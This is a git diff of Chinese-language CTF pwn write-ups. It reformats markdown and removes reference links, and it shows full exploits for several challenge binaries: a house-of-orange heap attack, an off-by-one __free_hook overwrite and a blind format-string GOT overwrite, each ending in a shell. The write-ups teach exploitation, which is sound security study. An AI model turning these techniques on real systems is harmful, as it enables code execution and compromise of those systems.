print 一个还没有 alloc 的 slot,则出现段错误。 - ## 题目解析 -#### main -``` + +### main + +```text [0x00000790]> pdf @ main / (fcn) main 180 | main (); @@ -154,11 +158,13 @@ Segmentation fault (core dumped) | | |||| ; CODE XREF from 0x00000b10 (main) \ `-````=< 0x00000b40 jmp 0xaa0 ``` + 从 main 函数中我们知道,程序的所有操作都是基于 slot。 -#### alloc -``` -[0x00000790]> pdf @ sym.alloc_it +### alloc + +```text +[0x00000790]> pdf @ sym.alloc_it / (fcn) sym.alloc_it 51 | sym.alloc_it (); | ; var int local_4h @ rbp-0x4 @@ -178,7 +184,7 @@ Segmentation fault (core dumped) | 0x000009fa nop | 0x000009fb leave \ 0x000009fc ret -[0x00000790]> px 0x8*10 @ obj.allocs +[0x00000790]> px 0x8*10 @ obj.allocs - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x00202040 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x00202050 0000 0000 0000 0000 0000 0000 0000 0000 ................ @@ -186,11 +192,13 @@ Segmentation fault (core dumped) 0x00202070 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x00202080 0000 0000 0000 0000 0000 0000 0000 0000 ................ ``` + 该函数固定分配 0x300 的空间,然后根据 slot 将返回地址放到从 `0x202040` 开始的数组 allocs 中。 -#### write -``` -[0x00000790]> pdf @ sym.write_it +### write + +```text +[0x00000790]> pdf @ sym.write_it / (fcn) sym.write_it 56 | sym.write_it (); | ; var int local_4h @ rbp-0x4 @@ -212,11 +220,13 @@ Segmentation fault (core dumped) | 0x00000a33 leave \ 0x00000a34 ret ``` + 该函数读入最多 0x300 个字符到 slot 对应的空间中。没有在字符串末尾加 `\x00`,可能导致信息泄露。 -#### print -``` -[0x00000790]> pdf @ sym.print_it +### print + +```text +[0x00000790]> pdf @ sym.print_it / (fcn) sym.print_it 46 | sym.print_it (); | ; var int local_4h @ rbp-0x4 @@ -236,11 +246,13 @@ Segmentation fault (core dumped) | 0x00000a61 leave \ 0x00000a62 ret ``` + 该函数用于打印 slot 对应空间中的字符串。 -#### free -``` -[0x00000790]> pdf @ sym.free_it +### free + +```text +[0x00000790]> pdf @ sym.free_it / (fcn) sym.free_it 46 | sym.free_it (); | ; var int local_4h @ rbp-0x4 @@ -260,13 +272,15 @@ Segmentation fault (core dumped) | 0x00000a8f leave \ 0x00000a90 ret ``` + 该函数用于释放 slot 对应的空间,但是却没有将 allocs[slot] 指针置空,导致 UAF,或者 double-free。 - ## 漏洞利用 + 从上面我们可以看到,程序的各项操作都基于 slot,对 allocs[slot] 指向的内存空间进行操作,但没有对 allocs[slot] 是否为空,或者其指向的内存是否为被释放的状态,都没有做任何检查,这也是之前发生段错误的原因。 -#### leak +### leak + ```python def leak(): global libc_base @@ -289,9 +303,11 @@ def leak(): log.info("libc_base address: 0x%x" % libc_base) log.info("heap address: 0x%x" % heap_addr) ``` + 首先利用 unsorted bin 可以泄露出 libc 和 heap 的地址。分配 5 个 chunk 的原因是为了避免 `\x00` 截断(heap 基地址的低位 `0x00`)。然后释放掉 1 和 3 即可。 -``` -gef➤ x/10gx &allocs + +```text +gef➤ x/10gx &allocs 0x555555756040 : 0x0000555555757010 0x0000555555757320 0x555555756050 : 0x0000555555757630 0x0000555555757940 0x555555756060 : 0x0000555555757c50 0x0000000000000000 @@ -307,7 +323,8 @@ gef➤ x/6gx 0x0000555555757940-0x10 0x555555757950: 0x0000000000000000 0x0000000000000000 ``` -#### house of orange +### house of orange + ```python def house_of_orange(): io_list_all = libc_base + libc.symbols['_IO_list_all'] @@ -326,7 +343,7 @@ def house_of_orange(): stream = p64(0) + p64(0x61) # fake header # fp stream += p64(0) + p64(fake_chunk_bk) # fake bk pointer stream += p64(0) # fp->_IO_write_base - stream += p64(0xffffffff) # fp->_IO_write_ptr + stream += p64(0xffffffff) # fp->_IO_write_ptr stream += p64(bin_sh_addr) # fp->_IO_write_end # fp->wide_data->buf_base stream = stream.ljust(0x74, '\x00') stream += p64(0) # fp->_flags2 @@ -354,9 +371,11 @@ def house_of_orange(): write(5, p64(0) + p64(io_list_all - 0x10)) # bk pointer alloc(5) # unsorted bin attack ``` + 这一步就比较复杂了。因为程序只允许分配 0x300 大小的 chunk,而我们知道 house-of-orange 需要大小为 0x60 的 chunk(放入 smallbins[5])。由于我们可以具有修改 free chunk 的能力,所以可以修改 unsorted bin 里 chunk 的 bk 指针指向伪造的 fake chunk,以将其链接到 unsorted bin 中。接下来的第一次 malloc 将修改 unsorted_bin->TAIL->bk 将指向 fake chunk,而第二次 malloc 的时候,由于大小不合适,fake chunk 就会被整理回 smallbins[5]: -``` -gef➤ x/10gx &allocs + +```text +gef➤ x/10gx &allocs 0x555555756040 : 0x0000555555757010 0x0000555555757320 0x555555756050 : 0x0000555555757630 0x0000555555757940 0x555555756060 : 0x0000555555757c50 0x0000555555757320 @@ -392,12 +411,14 @@ gef➤ x/12gx 0x7ffff7dd1bb8-0x50 0x7ffff7dd1ba8: 0x00007ffff7dd1b98 0x00007ffff7dd1b98 0x7ffff7dd1bb8: 0x0000555555757c60 0x0000555555757c60 <-- smallbins[5] ``` + 对于 vtable 的利用,上一节我们使用了 `_IO_str_overflow` 函数,这次我们就用 `_IO_wstr_finish` 函数。具体怎么用请查看章节 4.13。 值得注意的是 `fp->_wide_data` 指向了 fake chunk,所以就相当于我们复用了这一块空间,`fp->_IO_write_end` 的地方也是就是 `fp->wide_data->buf_base`。 接下来利用 unsorted bin attack 修改 `_IO_list_all` 指向 `&unsorted_bin-0x10`,而偏移 0x60 的地方就是 `_IO_list_all->_chain`,即 smallbins[5],指向了 fake chunk。 -``` + +```text gef➤ x/10gx &allocs 0x555555756040 : 0x0000555555757010 0x0000555555757320 0x555555756050 : 0x0000555555757630 0x0000555555757940 @@ -421,18 +442,20 @@ gef➤ x/14gx 0x00007ffff7dd1b58 0x7ffff7dd1bb8: 0x0000555555757c60 0x0000555555757c60 <-- smallbins[5] ``` -#### pwn +### pwn + ```python def pwn(): alloc(5) # abort routine io.interactive() ``` + 最后触发异常处理,`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_finish`,获得 shell。 - 开启 ASLR,Bingo!!! -``` -python exp.py + +```text +$ python exp.py [+] Starting local process './300': pid 5158 [*] libc_base address: 0x7efdcef24000 [*] heap address: 0x5624a7a3c000 @@ -447,8 +470,10 @@ $ whoami firmy ``` -#### exploit +### exploit + 完整的 exp 如下: + ```python #!/usr/bin/env python @@ -514,7 +539,7 @@ def house_of_orange(): stream = p64(0) + p64(0x61) # fake header # fp stream += p64(0) + p64(fake_chunk_bk) # fake bk pointer stream += p64(0) # fp->_IO_write_base - stream += p64(0xffffffff) # fp->_IO_write_ptr + stream += p64(0xffffffff) # fp->_IO_write_ptr stream += p64(bin_sh_addr) # fp->_IO_write_end # fp->wide_data->buf_base stream = stream.ljust(0x74, '\x00') stream += p64(0) # fp->_flags2 @@ -552,6 +577,6 @@ if __name__ == '__main__': pwn() ``` - ## 参考资料 -- https://ctftime.org/task/5172 + +- diff --git a/doc/6.1.27_pwn_secconctf2016_tinypad.md b/doc/6.1.27_pwn_secconctf2016_tinypad.md index 899979b..bced89c 100644 --- a/doc/6.1.27_pwn_secconctf2016_tinypad.md +++ b/doc/6.1.27_pwn_secconctf2016_tinypad.md @@ -5,12 +5,12 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.27_pwn_secconctf2016_tinypad) ## 题目复现 -``` -$ file tinypad + +```text +$ file tinypad tinypad: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1333a912c440e714599a86192a918178f187d378, not stripped $ checksec -f tinypad RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE @@ -20,10 +20,10 @@ GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.9) stable release version 2.19, by Ro Compiled by GNU CC version 4.8.4. ``` - ## 题目解析 ## 漏洞利用 ## 参考资料 -- https://ctftime.org/task/3189 + +- diff --git a/doc/6.1.28_pwn_asisctf2016_b00ks.md b/doc/6.1.28_pwn_asisctf2016_b00ks.md index c1afb1b..6a3f863 100644 --- a/doc/6.1.28_pwn_asisctf2016_b00ks.md +++ b/doc/6.1.28_pwn_asisctf2016_b00ks.md @@ -5,12 +5,12 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.28_pwn_asisctf2016_b00ks) ## 题目复现 -``` -$ file b00ks + +```text +$ file b00ks b00ks: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cdcd9edea919e679ace66ad54da9281d3eb09270, stripped $ checksec -f b00ks RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE @@ -19,10 +19,12 @@ $ strings libc-2.23.so | grep "GNU C" GNU C Library (Ubuntu GLIBC 2.23-0ubuntu10) stable release version 2.23, by Roland McGrath et al. Compiled by GNU CC version 5.4.0 20160609. ``` + 64 位程序,开启了 FULL RELRO、NX 和 PIE。 在 Ubuntu 16.04 上玩一下: -``` + +```text $ ./b00ks Welcome to ASISCTF book library Enter author name: AAAA @@ -90,13 +92,15 @@ Enter author name: EEEE > 6 Thanks to use our library software ``` + 程序让我们先输入一个 auther name,然后进入菜单,可以新建、删除、修改和打印一个 book,还可以对 author name 进行修改。 - ## 题目解析 -#### Enter author name -``` -[0x000008e0]> pdf @ sub.Enter_author_name:_b6d + +### Enter author name + +```text +[0x000008e0]> pdf @ sub.Enter_author_name:_b6d / (fcn) sub.Enter_author_name:_b6d 80 | sub.Enter_author_name:_b6d (); | ; CALL XREF from main (0x122f) @@ -128,11 +132,13 @@ Thanks to use our library software - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x00202018 4020 2000 0000 0000 @ ..... ``` + 程序首先调用函数 read_9f5() 读入 author name 到 `[0x00202018]`,即 `0x00202040`。 函数 read_9f5() 如下: -``` -[0x000008e0]> pdf @ sub.read_9f5 + +```text +[0x000008e0]> pdf @ sub.read_9f5 / (fcn) sub.read_9f5 130 | sub.read_9f5 (int arg1, signed int arg2); | ; var signed int local_1ch @ rbp-0x1c @@ -188,11 +194,13 @@ Thanks to use our library software | `-`--> 0x00000a75 leave \ 0x00000a76 ret ``` + 该函数存在单字节溢出漏洞,例如在读入 author name 的时候,arg2 为 0x20,但却可以读入最多 0x21 个字节,读入完成后将最后一个字节设置为 `“\x00”`,即溢出了一个字节的 null byte。 -#### Create -``` -[0x000008e0]> pdf @ sub.Enter_book_name_size:_f55 +### Create + +```text +[0x000008e0]> pdf @ sub.Enter_book_name_size:_f55 / (fcn) sub.Enter_book_name_size:_f55 634 | sub.Enter_book_name_size:_f55 (); | ; var size_t size @ rbp-0x20 @@ -369,9 +377,11 @@ Thanks to use our library software - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x00202010 6020 2000 0000 0000 ` ..... ``` + Create 过程是首先在堆上为 name 分配空间,然后为 description 分配空间,最后为 book 结构体分配空间。其中 name 和 description 的大小是由输入控制的,book 结构体则固定为 0x20 字节。 通过分析可以得到下面的数据结构: + ```c struct book { int id; @@ -382,13 +392,15 @@ struct book { struct book *books[20]; ``` + 其中 books 数组的起始地址为 `0x00202060`。 - ## 漏洞利用 + 现在我们已经知道漏洞点是在读入 author name 的时候存在一个 off-by-one 漏洞。另外由于 author name 和 books 之间距离正好为 `0x00202060 - 0x00202040 = 0x20`,并且 books 是在 author name 之后创建,所以如果 author name 恰好为 0x20 个字节,那么在 Print 的时候存在信息泄露。接下来如果对 author name 进行修改,且仍然为 0x20 字节,则溢出的一个空字节将覆盖掉 books[0] 的低位字节。 思路如下: + 1. 创建两个 book,其中要使第二个 book 的 name 和 description 通过 mmap 分配(请求一块很大的空间),这是因为 mmap 分配的空间与 libc 基址存在固定关系,后续将通过泄露这些地址得到 libc 基址。 2. 通过 Print,利用信息泄露漏洞得到 book1 在 heap 上的地址,从而计算得到 book2 的地址。 3. 通过 Edit 在 book1->description 中创建一个 fake book,其 fake->description 指向 book2->name。 @@ -397,7 +409,8 @@ struct book *books[20]; 6. 先 Edit 操作 fake book,将 book2->description 修改为 __free_hook 的地址,然后 Edit 操作 book2,即可将 __free_hook 修改为 one_gadget。 7. 此时 Delete book2,即可执行 one_gadget 获得 shell。 -#### leak_heap +### leak_heap + ```python def leak_heap(): global book2_addr @@ -413,8 +426,10 @@ def leak_heap(): log.info("book2 address: 0x%x" % book2_addr) ``` + 创建两个 book,此时内存布局如下: -``` + +```text gdb-peda$ x/8gx 0x555555756040 0x555555756040: 0x4141414141414141 0x4141414141414141 <-- author name 0x555555756050: 0x4141414141414141 0x4141414141414141 @@ -447,8 +462,10 @@ gdb-peda$ x/50gx 0x0000555555758020-0x10 0x555555758180: 0x0000000000000000 0x0000000000020e81 0x555555758190: 0x0000000000000000 0x0000000000000000 ``` + 可以看到 book2 通过 mmap 分配的两个指针并不是指向 heap,而是与 libc 有某种固定关系: -``` + +```text gdb-peda$ vmmap libc Start End Perm Name 0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp /home/firmy/b00ks/libc-2.23.so @@ -465,7 +482,8 @@ Start End Perm Name 0x0000555555757000 0x0000555555779000 rw-p [heap] ``` -#### leak_libc +### leak_libc + ```python def leak_libc(): global libc_base @@ -481,7 +499,8 @@ def leak_libc(): log.info("libc address: 0x%x" % libc_base) ``` -``` + +```text gdb-peda$ x/8gx 0x555555756040 0x555555756040: 0x4141414141414141 0x4141414141414141 0x555555756050: 0x4141414141414141 0x4141414141414141 @@ -514,11 +533,13 @@ gdb-peda$ x/50gx 0x0000555555758020-0x10 0x555555758180: 0x0000000000000000 0x0000000000020e81 0x555555758190: 0x0000000000000000 0x0000000000000000 ``` + 接下来先是伪造 fake book,然后通过空字节溢出,修改了 books[0] 的低位字节,此时它指向了 fake book。而 fake->description 指向了 book2->name。 通过 Print 即可打印出 book2->name,进而计算出 libc 基址。 -#### overwrite +### overwrite + ```python def overwrite(): free_hook = libc.symbols['__free_hook'] + libc_base @@ -529,8 +550,10 @@ def overwrite(): fake_book = p64(one_gadget) Edit(2, fake_book) ``` + 依次修改 fake book 和 book2,最终将 __free_hook 修改为 one_gadget: -``` + +```text gdb-peda$ x/50gx 0x0000555555758020-0x10 0x555555758010: 0x0000000000000000 0x00000000000000e1 0x555555758020: 0x0000000041414141 0x0000000000000000 @@ -569,17 +592,20 @@ gdb-peda$ pdisass 0x00007ffff7a5226a /7 0x7ffff7a52294: call 0x7ffff7ad9770 ``` -#### pwn +### pwn + ```python def pwn(): Delete(2) io.interactive() ``` + 最后 Delete book2,获得 shell。 开启 ASLR,Bingo!!! -``` + +```text $ python exp.py [+] Starting local process './b00ks': pid 4879 [*] book2 address: 0x562341a04160 @@ -589,8 +615,10 @@ $ whoami firmy ``` -#### exploit +### exploit + 完整的 exp 如下: + ```python #!/usr/bin/env python @@ -673,6 +701,6 @@ if __name__ == "__main__": pwn() ``` - ## 参考资料 -- https://ctftime.org/task/2492 + +- diff --git a/doc/6.1.29_pwn_insomnictf2017_the_great_escape3.md b/doc/6.1.29_pwn_insomnictf2017_the_great_escape3.md index 195757d..08ec20a 100644 --- a/doc/6.1.29_pwn_insomnictf2017_the_great_escape3.md +++ b/doc/6.1.29_pwn_insomnictf2017_the_great_escape3.md @@ -5,12 +5,12 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.29_pwn_insomnictf2017_the_great_escape3) ## 题目复现 -``` -$ file the_great_escape_part3 + +```text +$ file the_great_escape_part3 the_great_escape_part3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=08df0c3369b497ee8ed8fca10dbb39ae75ebb273, not stripped $ checksec -f the_great_escape_part3 RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE @@ -26,12 +26,13 @@ $ ldd the_great_escape_part3 /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fa5e875c000) libm.so.6 => /usr/lib/libm.so.6 (0x00007fa5e71c9000) ``` -64 位动态链接程序,但其使用 jemalloc 替代了 glibc 里的 ptmalloc2,很有意思。关于 jemalloc 的更多内容可以参考章节 1.5.11。 +64 位动态链接程序,但其使用 jemalloc 替代了 glibc 里的 ptmalloc2,很有意思。关于 jemalloc 的更多内容可以参考章节 1.5.11。 ## 题目解析 ## 漏洞利用 ## 参考资料 -- https://ctftime.org/task/3311 + +- diff --git a/doc/6.1.2_pwn_njctf2017_pingme.md b/doc/6.1.2_pwn_njctf2017_pingme.md index d8b1d6f..8fe7c60 100644 --- a/doc/6.1.2_pwn_njctf2017_pingme.md +++ b/doc/6.1.2_pwn_njctf2017_pingme.md @@ -5,40 +5,47 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.2_pwn_njctf2017_pingme) ## 题目复现 + 在 6.1.1 中我们看到了 blind ROP,这一节中则将看到 blind fmt。它们的共同点是都没有二进制文件,只提供 ip 和端口。 checksec 如下: -``` -$ checksec -f pingme + +```text +$ checksec -f pingme RELRO STACK CANARY NX PIE RPATH RUNPATHFORTIFY Fortified Fortifiable FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 2 pingme ``` + 关闭 ASLR,然后把程序运行起来: -``` + +```text $ socat tcp4-listen:10001,reuseaddr,fork exec:./pingme & ``` - ## Blind fmt 原理及题目解析 + 格式化字符串漏洞我们已经在 3.3.1 中详细讲过了,blind fmt 要求我们在没有二进制文件和 libc.so 的情况下进行漏洞利用,好在程序没有开启任何保护,利用很直接。 通常有两种方法可以解决这种问题,一种是利用信息泄露把程序从内存中 dump 下来,另一种是使用 pwntools 的 DynELF 模块(关于该模块的使用我们在章节 4.4 中有讲过)。 - ## 漏洞利用 -#### 确认漏洞 + +### 确认漏洞 + 首先你当然不知道这是一个栈溢出还是格式化字符串,栈溢出的话输入一段长字符串,但程序是否崩溃,格式化字符串的话就输入格式字符,看输出。 -``` + +```text $ nc 127.0.0.1 10001 Ping me ABCD%7$x ABCD44434241 ``` + 很明显是格式字符串,而且 ABCD 在第 7 个参数的位置,实际上当然不会这么巧,所以需要使用一个脚本去枚举。这里使用 pwntools 的 fmtstr 模块了: + ```python def exec_fmt(payload): p.sendline(payload) @@ -47,12 +54,15 @@ def exec_fmt(payload): auto = FmtStr(exec_fmt) offset = auto.offset ``` -``` + +```text [*] Found format string offset: 7 ``` -#### dump file +### dump file + 接下来我们就利用该漏洞把二进制文件从内存中 dump 下来: + ```python def dump_memory(start_addr, end_addr): result = "" @@ -77,16 +87,20 @@ with open("code.bin", "wb") as f: f.write(code_bin) f.close() ``` + 这里构造的 paylaod 和前面有点不同,它把地址放在了后面,是为了防止 printf 的 `%s` 被 `\x00` 截断: + ```python payload = "%9$s.AAA" + p32(start_addr) ``` + 另外 `.AAA`,是作为一个标志,我们需要的内存在 `.AAA` 的前面,最后,偏移由 7 变为 9。 在没有开启 PIE 的情况下,32 位程序从地址 `0x8048000` 开始,0x1000 的大小就足够了。在对内存 `\x00` 进行 leak 时,数据长度为零,直接给它赋值就可以了。 于是就成了有二进制文件无 libc 的格式化字符串漏洞,在 r2 中查询 printf 的 got 地址: -``` + +```text [0x08048490]> is~printf vaddr=0x08048400 paddr=0x00000400 ord=002 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.printf [0x08048490]> pd 3 @ 0x08048400 @@ -95,12 +109,15 @@ vaddr=0x08048400 paddr=0x00000400 ord=002 fwd=NONE sz=16 bind=GLOBAL type=FUNC n : 0x08048406 6808000000 push 8 ; 8 `=< 0x0804840b e9d0ffffff jmp 0x80483e0 ``` + 地址为 `0x8049974`。 -#### printf address & system address +### printf address & system address + 接下来通过 printf@got 泄露出 printf 的地址,进行到这儿,就有两种方式要考虑了,即我们是否可以拿到 libc,如果能,就很简单了。如果不能,就需要使用 DynELF 进行无 libc 的利用。 先说第一种: + ```python def get_printf_addr(): p = remote('127.0.0.1', '10001') @@ -112,11 +129,14 @@ def get_printf_addr(): return data printf_addr = get_printf_addr() ``` -``` + +```text [*] printf address: 70e6e0f7 ``` + 所以 printf 的地址是 `0xf7e0e670`(小端序),使用 libc-database 查询得到 libc.so,然后可以得到 printf 和 system 的相对位置。 -``` + +```text $ ./find printf 670 ubuntu-xenial-i386-libc6 (id libc6_2.23-0ubuntu9_i386) /usr/lib32/libc-2.26.so (id local-292a64d65098446389a47cdacdf5781255a95098) @@ -124,7 +144,9 @@ $ ./dump local-292a64d65098446389a47cdacdf5781255a95098 printf system offset_printf = 0x00051670 offset_system = 0x0003cc50 ``` + 然后计算得到 printf 的地址: + ```python printf_addr = 0xf7e0e670 offset_printf = 0x00051670 @@ -133,6 +155,7 @@ system_addr = printf_addr - (offset_printf - offset_system) ``` 第二种方法是使用 DynELF 模块来泄露函数地址: + ```python def leak(addr): p = remote('127.0.0.1', '10001') @@ -149,16 +172,20 @@ printf_addr = data.lookup('printf', 'libc') log.info("system address: 0x%x" % system_addr) log.info("printf address: 0x%x" % printf_addr) ``` -``` + +```text [*] system address: 0xf7df9c50 [*] printf address: 0xf7e0e670 ``` + DynELF 不要求我们拿到 libc.so,所以如果我们查询不到 libc.so 的版本信息,该模块就能发挥它最大的作用。 -#### attack +### attack + 按照格式化字符串漏洞的套路,我们通过任意写将 printf@got 指向的内存覆盖为 system 的地址,然后发送字符串 `/bin/sh`,就可以在调用 `printf("/bin/sh")` 的时候实际上调用 `system("/bin/sh")`。 终极 payload 如下,使用 `fmtstr_payload` 函数来自动构造,将: + ```python payload = fmtstr_payload(7, {printf_got: system_addr}) p = remote('127.0.0.1', '10001') @@ -168,8 +195,10 @@ p.recv() p.sendline('/bin/sh') p.interactive() ``` + 虽说有这样的自动化函数很方便,基本的手工构造还是要懂的,看一下生成的 payload 长什么样子: -``` + +```text [DEBUG] Sent 0x3a bytes: 00000000 74 99 04 08 75 99 04 08 76 99 04 08 77 99 04 08 │t···│u···│v···│w···│ 00000010 25 36 34 63 25 37 24 68 68 6e 25 37 36 63 25 38 │%64c│%7$h│hn%7│6c%8│ @@ -177,33 +206,41 @@ p.interactive() 00000030 34 63 25 31 30 24 68 68 6e 0a │4c%1│0$hh│n·│ 0000003a ``` + 开头是 printf@got 地址,四个字节分别位于: -``` + +```text 0x08049974 0x08049975 0x08049976 0x08049977 ``` + 然后是格式字符串 `%64c%7$hhn%76c%8hhn%67c%9$hhn%24c%10$hhn`: -``` + +```text 16 + 64 = 80 = 0x50 80 + 76 = 156 = 0x9c 156 + 67 = 223 = 0xdf 233 + 24 = 247 = 0xf7 ``` + 就这样将 system 的地址写入了内存。 Bingo!!! -``` -$ python2 exp.py + +```text +$ python2 exp.py [+] Opening connection to 127.0.0.2 on port 10001: Done [*] Switching to interactive mode $ whoami firmy ``` -#### exploit +### exploit + 完整的 exp 如下: + ```python from pwn import * @@ -284,7 +321,7 @@ p.sendline('/bin/sh') p.interactive() ``` - ## 参考资料 + - [Linux系统下格式化字符串利用研究](https://paper.seebug.org/246/) - [33C3 CTF 2016 -- ESPR](http://bruce30262.logdown.com/posts/1255979-33c3-ctf-2016-espr) diff --git a/doc/6.1.30_pwn_hitconctf2017_ghost_in_the_heap.md b/doc/6.1.30_pwn_hitconctf2017_ghost_in_the_heap.md index ed9c134..bb350e9 100644 --- a/doc/6.1.30_pwn_hitconctf2017_ghost_in_the_heap.md +++ b/doc/6.1.30_pwn_hitconctf2017_ghost_in_the_heap.md @@ -5,26 +5,27 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.30_pwn_hitconctf2017_ghost_in_the_heap) ## 题目复现 -``` + +```text $ file ghost_in_the_heap ghost_in_the_heap: ELF 64-bit LSB pie executable x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e862c2118fbad287f5947b95b6f5a5a532fa4a6f, stripped -$ checksec -f ghost_in_the_heap +$ checksec -f ghost_in_the_heap RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 1 2 ghost_in_the_heap -$ strings libc-2.24.so | grep "GNU C" +$ strings libc-2.24.so | grep "GNU C" GNU C Library (Ubuntu GLIBC 2.24-9ubuntu2.2) stable release version 2.24, by Roland McGrath et al. Compiled by GNU CC version 6.3.0 20170406. ``` -64 位程序,保护全开。 +64 位程序,保护全开。 ## 题目解析 ## 漏洞利用 ## 参考资料 -- https://ctftime.org/task/4847 + +- diff --git a/doc/6.1.31_pwn_hitbctf2018_mutepig.md b/doc/6.1.31_pwn_hitbctf2018_mutepig.md index 622134b..92933c4 100644 --- a/doc/6.1.31_pwn_hitbctf2018_mutepig.md +++ b/doc/6.1.31_pwn_hitbctf2018_mutepig.md @@ -5,26 +5,27 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.31_pwn_hitbctf2018_mutepig) ## 题目复现 -``` -$ file mutepig + +```text +$ file mutepig mutepig: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=180b126011ab0d74ab49d0c3c52a41e85155a6a9, stripped -[firmy@firmy-pc mutepip]$ checksec -f mutepig +[firmy@firmy-pc mutepip]$ checksec -f mutepig RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 1 mutepig $ strings libc-2.23.so | grep "GNU C" GNU C Library (GNU libc) stable release version 2.23, by Roland McGrath et al. Compiled by GNU CC version 8.1.0. ``` -64 位程序,开启了 Canary 和 NX。 +64 位程序,开启了 Canary 和 NX。 ## 题目解析 ## 漏洞利用 ## 参考资料 -- https://www.xctf.org.cn/library/details/hitb-quals-2018/#mutepig-pwn + +- diff --git a/doc/6.1.32_pwn_secconctf2017_vm_no_fun.md b/doc/6.1.32_pwn_secconctf2017_vm_no_fun.md index 14d9336..9557fa1 100644 --- a/doc/6.1.32_pwn_secconctf2017_vm_no_fun.md +++ b/doc/6.1.32_pwn_secconctf2017_vm_no_fun.md @@ -5,26 +5,27 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.32_pwn_secconctf2017_vm_no_fun) ## 题目复现 -``` -$ file inception -inception: ELF 64-bit LSB pie executable x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c36d0c2ef8cae7c5166fa8e3cc30a229f97968c3, stripped -$ checksec -f inception + +```text +$ file inception +inception: ELF 64-bit LSB pie executable x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c36d0c2ef8cae7c5166fa8e3cc30a229f97968c3, stripped +$ checksec -f inception RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 0 3 inception $ strings libc-2.23.so | grep "GNU C" GNU C Library (Ubuntu GLIBC 2.23-0ubuntu9) stable release version 2.23, by Roland McGrath et al. Compiled by GNU CC version 5.4.0 20160609. ``` -64 位程序,开启了 canary、NX 和 PIE,默认开启 ASLR。 +64 位程序,开启了 canary、NX 和 PIE,默认开启 ASLR。 ## 题目解析 ## 漏洞利用 ## 参考资料 -- https://github.com/SECCON/SECCON2017_online_CTF/tree/master/pwn/500_vm_no_fun + +- diff --git a/doc/6.1.33_pwn_34c3ctf2017_lfa.md b/doc/6.1.33_pwn_34c3ctf2017_lfa.md index 4d0d6f2..668cf1e 100644 --- a/doc/6.1.33_pwn_34c3ctf2017_lfa.md +++ b/doc/6.1.33_pwn_34c3ctf2017_lfa.md @@ -5,7 +5,6 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.33_pwn_34c3ctf2017_lfa) ## 题目复现 @@ -15,5 +14,6 @@ ## 漏洞利用 ## 参考资料 -- https://ctftime.org/task/5167 -- https://github.com/bkth/34c3ctf/tree/master/LFA + +- +- diff --git a/doc/6.1.34_pwn_n1ctf2018_memsafety.md b/doc/6.1.34_pwn_n1ctf2018_memsafety.md index 8949145..1b54e5f 100644 --- a/doc/6.1.34_pwn_n1ctf2018_memsafety.md +++ b/doc/6.1.34_pwn_n1ctf2018_memsafety.md @@ -5,7 +5,6 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.34_pwn_n1ctf2018_memsafety) ## 题目复现 @@ -15,5 +14,6 @@ ## 漏洞利用 ## 参考资料 -- https://ctftime.org/task/5494 -- https://github.com/Nu1LCTF/n1ctf-2018/tree/master/source/pwn/memsafety + +- +- diff --git a/doc/6.1.3_pwn_xdctf2015_pwn200.md b/doc/6.1.3_pwn_xdctf2015_pwn200.md index adfcba8..428caf8 100644 --- a/doc/6.1.3_pwn_xdctf2015_pwn200.md +++ b/doc/6.1.3_pwn_xdctf2015_pwn200.md @@ -5,11 +5,12 @@ - 